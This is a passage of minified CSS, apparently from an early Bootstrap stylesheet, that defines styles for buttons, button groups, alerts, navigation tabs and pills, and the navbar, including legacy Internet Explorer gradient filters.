-webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-color:#e6e6e6;background-color:#d9d9d9 \9;background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn.disabled,.btn[disabled]{cursor:default;background-color:#e6e6e6;background-image:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.btn-large{padding:9px 14px;font-size:16px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.btn-large [class^="icon-"]{margin-top:2px}.btn-small{padding:3px 9px;font-size:12px;line-height:18px}.btn-small [class^="icon-"]{margin-top:0}.btn-mini{padding:2px 6px;font-size:11px;line-height:17px}.btn-block{display:block;width:100%;padding-right:0;padding-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-inverse.active{color:rgba(255,255,255,0.75)}.btn{border-color:#c5c5c5;border-color:rgba(0,0,0,0.15) rgba(0,0,0,0.15) rgba(0,0,0,0.25)}.btn-primary{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#006dcc;*background-color:#04c;background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-image:linear-gradient(to bottom,#08c,#04c);background-image:-moz-linear-gradient(top,#08c,#04c);background-repeat:repeat-x;border-color:#04c #04c #002a80;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0044cc',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{color:#fff;background-color:#04c;*background-color:#003bb3}.btn-primary:active,.btn-primary.active{background-color:#039 \9}.btn-warning{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#faa732;*background-color:#f89406;background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fffbb450',endColorstr='#fff89406',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{color:#fff;background-color:#f89406;*background-color:#df8505}.btn-warning:active,.btn-warning.active{background-color:#c67605 \9}.btn-danger{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#da4f49;*background-color:#bd362f;background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(to bottom,#ee5f5b,#bd362f);background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffee5f5b',endColorstr='#ffbd362f',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{color:#fff;background-color:#bd362f;*background-color:#a9302a}.btn-danger:active,.btn-danger.active{background-color:#942a25 \9}.btn-success{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#5bb75b;*background-color:#51a351;background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(to bottom,#62c462,#51a351);background-image:-moz-linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff62c462',endColorstr='#ff51a351',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{color:#fff;background-color:#51a351;*background-color:#499249}.btn-success:active,.btn-success.active{background-color:#408140 \9}.btn-info{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#49afcd;*background-color:#2f96b4;background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(to bottom,#5bc0de,#2f96b4);background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff2f96b4',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{color:#fff;background-color:#2f96b4;*background-color:#2a85a0}.btn-info:active,.btn-info.active{background-color:#24748c \9}.btn-inverse{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#363636;*background-color:#222;background-image:-webkit-gradient(linear,0 0,0 100%,from(#444),to(#222));background-image:-webkit-linear-gradient(top,#444,#222);background-image:-o-linear-gradient(top,#444,#222);background-image:linear-gradient(to bottom,#444,#222);background-image:-moz-linear-gradient(top,#444,#222);background-repeat:repeat-x;border-color:#222 #222 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff444444',endColorstr='#ff222222',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{color:#fff;background-color:#222;*background-color:#151515}.btn-inverse:active,.btn-inverse.active{background-color:#080808 \9}button.btn,input[type="submit"].btn{*padding-top:3px;*padding-bottom:3px}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0}button.btn.btn-large,input[type="submit"].btn.btn-large{*padding-top:7px;*padding-bottom:7px}button.btn.btn-small,input[type="submit"].btn.btn-small{*padding-top:3px;*padding-bottom:3px}button.btn.btn-mini,input[type="submit"].btn.btn-mini{*padding-top:1px;*padding-bottom:1px}.btn-link,.btn-link:active,.btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.btn-link{color:#08c;cursor:pointer;border-color:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover{color:#333;text-decoration:none}.btn-group{position:relative;*margin-left:.3em;font-size:0;white-space:nowrap;vertical-align:middle}.btn-group:first-child{*margin-left:0}.btn-group+.btn-group{margin-left:5px}.btn-toolbar{margin-top:10px;margin-bottom:10px;font-size:0}.btn-toolbar .btn-group{display:inline-block;*display:inline;*zoom:1}.btn-toolbar .btn+.btn,.btn-toolbar .btn-group+.btn,.btn-toolbar .btn+.btn-group{margin-left:5px}.btn-group>.btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-group>.btn+.btn{margin-left:-1px}.btn-group>.btn,.btn-group>.dropdown-menu{font-size:14px}.btn-group>.btn-mini{font-size:11px}.btn-group>.btn-small{font-size:12px}.btn-group>.btn-large{font-size:16px}.btn-group>.btn:first-child{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}.btn-group>.btn:last-child,.btn-group>.dropdown-toggle{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px}.btn-group>.btn.large:first-child{margin-left:0;-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px}.btn-group>.btn.large:last-child,.btn-group>.large.dropdown-toggle{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px}.btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active{z-index:2}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{*padding-top:5px;padding-right:8px;*padding-bottom:5px;padding-left:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn-group>.btn-mini+.dropdown-toggle{*padding-top:2px;padding-right:5px;*padding-bottom:2px;padding-left:5px}.btn-group>.btn-small+.dropdown-toggle{*padding-top:5px;*padding-bottom:4px}.btn-group>.btn-large+.dropdown-toggle{*padding-top:7px;padding-right:12px;*padding-bottom:7px;padding-left:12px}.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05)}.btn-group.open .btn.dropdown-toggle{background-color:#e6e6e6}.btn-group.open .btn-primary.dropdown-toggle{background-color:#04c}.btn-group.open .btn-warning.dropdown-toggle{background-color:#f89406}.btn-group.open .btn-danger.dropdown-toggle{background-color:#bd362f}.btn-group.open .btn-success.dropdown-toggle{background-color:#51a351}.btn-group.open .btn-info.dropdown-toggle{background-color:#2f96b4}.btn-group.open .btn-inverse.dropdown-toggle{background-color:#222}.btn .caret{margin-top:8px;margin-left:0}.btn-mini .caret,.btn-small .caret,.btn-large .caret{margin-top:6px}.btn-large .caret{border-top-width:5px;border-right-width:5px;border-left-width:5px}.dropup .btn-large .caret{border-top:0;border-bottom:5px solid #000}.btn-primary .caret,.btn-warning .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#fff;border-bottom-color:#fff}.btn-group-vertical{display:inline-block;*display:inline;*zoom:1}.btn-group-vertical .btn{display:block;float:none;width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-group-vertical .btn+.btn{margin-top:-1px;margin-left:0}.btn-group-vertical .btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.btn-group-vertical .btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.btn-group-vertical .btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0}.btn-group-vertical .btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.alert{padding:8px 35px 8px 14px;margin-bottom:20px;color:#c09853;text-shadow:0 1px 0 rgba(255,255,255,0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.alert h4{margin:0}.alert .close{position:relative;top:-2px;right:-21px;line-height:20px}.alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6}.alert-danger,.alert-error{color:#b94a48;background-color:#f2dede;border-color:#eed3d7}.alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1}.alert-block{padding-top:14px;padding-bottom:14px}.alert-block>p,.alert-block>ul{margin-bottom:0}.alert-block p+p{margin-top:5px}.nav{margin-bottom:20px;margin-left:0;list-style:none}.nav>li>a{display:block}.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>.pull-right{float:right}.nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999;text-shadow:0 1px 0 rgba(255,255,255,0.5);text-transform:uppercase}.nav li+.nav-header{margin-top:9px}.nav-list{padding-right:15px;padding-left:15px;margin-bottom:0}.nav-list>li>a,.nav-list .nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.nav-list>li>a{padding:3px 15px}.nav-list>.active>a,.nav-list>.active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.2);background-color:#08c}.nav-list [class^="icon-"]{margin-right:2px}.nav-list .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.nav-tabs,.nav-pills{*zoom:1}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;line-height:0;content:""}.nav-tabs:after,.nav-pills:after{clear:both}.nav-tabs>li,.nav-pills>li{float:left}.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{margin-bottom:-1px}.nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nav-pills>.active>a,.nav-pills>.active>a:hover{color:#fff;background-color:#08c}.nav-stacked>li{float:none}.nav-stacked>li>a{margin-right:0}.nav-tabs.nav-stacked{border-bottom:0}.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-topleft:4px}.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-moz-border-radius-bottomleft:4px}.nav-tabs.nav-stacked>li>a:hover{z-index:2;border-color:#ddd}.nav-pills.nav-stacked>li>a{margin-bottom:3px}.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px}.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.nav-pills .dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.nav .dropdown-toggle .caret{margin-top:6px;border-top-color:#08c;border-bottom-color:#08c}.nav .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580}.nav-tabs .dropdown-toggle .caret{margin-top:8px}.nav .active .dropdown-toggle .caret{border-top-color:#fff;border-bottom-color:#fff}.nav-tabs .active .dropdown-toggle .caret{border-top-color:#555;border-bottom-color:#555}.nav>.dropdown.active>a:hover{cursor:pointer}.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover{color:#fff;background-color:#999;border-color:#999}.nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret{border-top-color:#fff;border-bottom-color:#fff;opacity:1;filter:alpha(opacity=100)}.tabs-stacked .open>a:hover{border-color:#999}.tabbable{*zoom:1}.tabbable:before,.tabbable:after{display:table;line-height:0;content:""}.tabbable:after{clear:both}.tab-content{overflow:auto}.tabs-below>.nav-tabs,.tabs-right>.nav-tabs,.tabs-left>.nav-tabs{border-bottom:0}.tab-content>.tab-pane,.pill-content>.pill-pane{display:none}.tab-content>.active,.pill-content>.active{display:block}.tabs-below>.nav-tabs{border-top:1px solid #ddd}.tabs-below>.nav-tabs>li{margin-top:-1px;margin-bottom:0}.tabs-below>.nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.tabs-below>.nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent}.tabs-below>.nav-tabs>.active>a,.tabs-below>.nav-tabs>.active>a:hover{border-color:transparent #ddd #ddd #ddd}.tabs-left>.nav-tabs>li,.tabs-right>.nav-tabs>li{float:none}.tabs-left>.nav-tabs>li>a,.tabs-right>.nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px}.tabs-left>.nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd}.tabs-left>.nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.tabs-left>.nav-tabs>li>a:hover{border-color:#eee #ddd #eee #eee}.tabs-left>.nav-tabs .active>a,.tabs-left>.nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#fff}.tabs-right>.nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd}.tabs-right>.nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.tabs-right>.nav-tabs>li>a:hover{border-color:#eee #eee #eee #ddd}.tabs-right>.nav-tabs .active>a,.tabs-right>.nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#fff}.nav>.disabled>a{color:#999}.nav>.disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.navbar{*position:relative;*z-index:2;margin-bottom:20px;overflow:visible;color:#777}.navbar-inner{min-height:40px;padding-right:20px;padding-left:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top,#fff,#f2f2f2);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f2f2f2));background-image:-webkit-linear-gradient(top,#fff,#f2f2f2);background-image:-o-linear-gradient(top,#fff,#f2f2f2);background-image:linear-gradient(to bottom,#fff,#f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffffffff',endColorstr='#fff2f2f2',GradientType=0);*zoom:1;-webkit-box-shadow:0 1px 4px rgba(0,0,0,0.065);-moz-box-shadow:0 1px 4px rgba(0,0,0,0.065);box-shadow:0 1px 4px rgba(0,0,0,0.065)}.navbar-inner:before,.navbar-inner:after{display:table;line-height:0;content:""}.navbar-inner:after{clear:both}.navbar .container{width:auto}.nav-collapse.collapse{height:auto}.navbar .brand{display:block;float:left;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777;text-shadow:0 1px 0 #fff}.navbar .brand:hover{text-decoration:none}.navbar-text{margin-bottom:0;line-height:40px}.navbar-link{color:#777}.navbar-link:hover{color:#333}.navbar .divider-vertical{height:40px;margin:0 9px;border-right:1px solid #fff;border-left:1px solid #f2f2f2}.navbar .btn,.navbar .btn-group{margin-top:5px}.navbar .btn-group .btn,.navbar .input-prepend .btn,.navbar .input-append .btn{margin-top:0}.navbar-form{margin-bottom:0;*zoom:1}.navbar-form:before,.navbar-form:after{display:table;line-height:0;content:""}.navbar-form:after{clear:both}.navbar-form input,.navbar-form select,.navbar-form .radio,.navbar-form .checkbox{margin-top:5px}.navbar-form input,.navbar-form select,.navbar-form .btn{display:inline-block;margin-bottom:0}.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px}.navbar-form .input-append,.navbar-form .input-prepend{margin-top:6px;white-space:nowrap}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0}.navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0}.navbar-search .search-query{padding:4px 14px;margin-bottom:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.navbar-static-top{position:static;width:100%;margin-bottom:0}.navbar-static-top .navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0}.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{border-width:0 0 1px}.navbar-fixed-bottom .navbar-inner{border-width:1px 0 0}.navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner{padding-right:0;padding-left:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px}.navbar-fixed-top{top:0}.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.1),0 1px 10px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.1),0 1px 10px rgba(0,0,0,0.1);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.1),0 1px 10px rgba(0,0,0,0.1)}.navbar-fixed-bottom{bottom:0}.navbar-fixed-bottom .navbar-inner{-webkit-box-shadow:inset 0 1px 0 rgba(0,0,0,0.1),0 -1px 10px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 0 rgba(0,0,0,0.1),0 -1px 10px rgba(0,0,0,0.1);box-shadow:inset 0 1px 0 rgba(0,0,0,0.1),0 -1px 10px rgba(0,0,0,0.1)}.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0}.navbar .nav.pull-right{float:right;margin-right:0}.navbar .nav>li{float:left}.navbar .nav>li>a{float:none;padding:10px 15px 10px;color:#777;text-decoration:none;text-shadow:0 1px 0 #fff}.navbar .nav .dropdown-toggle .caret{margin-top:8px}.navbar .nav>li>a:focus,.navbar .nav>li>a:hover{color:#333;text-decoration:none;background-color:transparent}.navbar .nav>.active>a,.navbar .nav>.active>a:hover,.navbar .nav>.active>a:focus{color:#555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0,0,0,0.125);-moz-box-shadow:inset 0 3px 8px rgba(0,0,0,0.125);box-shadow:inset 0 3px 8px rgba(0,0,0,0.125)}.navbar .btn-navbar{display:none;float:right;padding:7px 10px;margin-right:5px;margin-left:5px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#ededed;*background-color:#e5e5e5;background-image:-webkit-gradient(linear,0 0,0 100%,from(#f2f2f2),to(#e5e5e5));background-image:-webkit-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:-o-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:linear-gradient(to bottom,#f2f2f2,#e5e5e5);background-image:-moz-linear-gradient(top,#f2f2f2,#e5e5e5);background-repeat:repeat-x;border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fff2f2f2',endColorstr='#ffe5e5e5',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075)}.navbar .btn-navbar:hover,.navbar .btn-navbar:active,.navbar .btn-navbar.active,.navbar .btn-navbar.disabled,.navbar .btn-navbar[disabled]{color:#fff;background-color:#e5e5e5;*background-color:#d9d9d9}.navbar .btn-navbar:active,.navbar .btn-navbar.active{background-color:#ccc \9}.navbar .btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,0.25);-moz-box-shadow:0 1px 0 rgba(0,0,0,0.25);box-shadow:0 1px 0 rgba(0,0,0,0.25)}.btn-navbar .icon-bar+.icon-bar{margin-top:3px}.navbar .nav>li>.dropdown-menu:before{position:absolute;top:-7px;left:9px;display:inline-block;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-left:7px solid transparent;border-bottom-color:rgba(0,0,0,0.2);content:''}.navbar .nav>li>.dropdown-menu:after{position:absolute;top:-6px;left:10px;display:inline-block;border-right:6px solid transparent;border-bottom:6px solid #fff;border-left:6px solid transparent;content:''}.navbar-fixed-bottom .nav>li>.dropdown-menu:before{top:auto;bottom:-7px;border-top:7px solid #ccc;border-bottom:0;border-top-color:rgba(0,0,0,0.2)}.navbar-fixed-bottom .nav>li>.dropdown-menu:after{top:auto;bottom:-6px;border-top:6px solid #fff;border-bottom:0}.navbar .nav li.dropdown.open>.dropdown-toggle,.navbar .nav li.dropdown.active>.dropdown-toggle,.navbar .nav li.dropdown.open.active>.dropdown-toggle{color:#555;background-color:#e5e5e5}.navbar .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#777;border-bottom-color:#777}.navbar .nav li.dropdown.open>.dropdown-toggle .caret,.navbar .nav li.dropdown.active>.dropdown-toggle .caret,.navbar .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#555;border-bottom-color:#555}.navbar .pull-right>li>.dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right{right:0;left:auto}.navbar .pull-right>li>.dropdown-menu:before,.navbar .nav>li>.dropdown-menu.pull-right:before{right:12px;left:auto}.navbar .pull-right>li>.dropdown-menu:after,.navbar .nav>li>.dropdown-menu.pull-right:after{right:13px;left:auto}.navbar .pull-right>li>.dropdown-menu .dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right .dropdown-menu{right:100%;left:auto;margin-right:-1px;margin-left:0;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px}.navbar-inverse{color:#999}.navbar-inverse .navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top,#222,#111);background-image:-webkit-gradient(linear,0 0,0 100%,from(#222),to(#111));background-image:-webkit-linear-gradient(top,#222,#111);background-image:-o-linear-gradient(top,#222,#111);background-image:linear-gradient(to bottom,#222,#111);background-repeat:repeat-x;border-color:#252525;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff222222',endColorstr='#ff111111',GradientType=0)}.navbar-inverse .brand,.navbar-inverse .nav>li>a{color:#999;text-shadow:0 -1px 0 rgba(0,0,0,0.25)}.navbar-inverse .brand:hover,.navbar-inverse .nav>li>a:hover{color:#fff}.navbar-inverse .nav>li>a:focus,.navbar-inverse .nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .nav .active>a,.navbar-inverse .nav .active>a:hover,.navbar-inverse .nav .active>a:focus{color:#fff;background-color:#111}.navbar-inverse .navbar-link{color:#999}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .divider-vertical{border-right-color:#222;border-left-color:#111}.navbar-inverse .nav li.dropdown.open>.dropdown-toggle,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle{color:#fff;background-color:#111}.navbar-inverse .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#999;border-bottom-color:#999}.navbar-inverse .nav li.dropdown.open>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#fff;border-bottom-color:#fff}.navbar-inverse .navbar-search .search-query{color:#fff;background-color:#515151;border-color:#111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 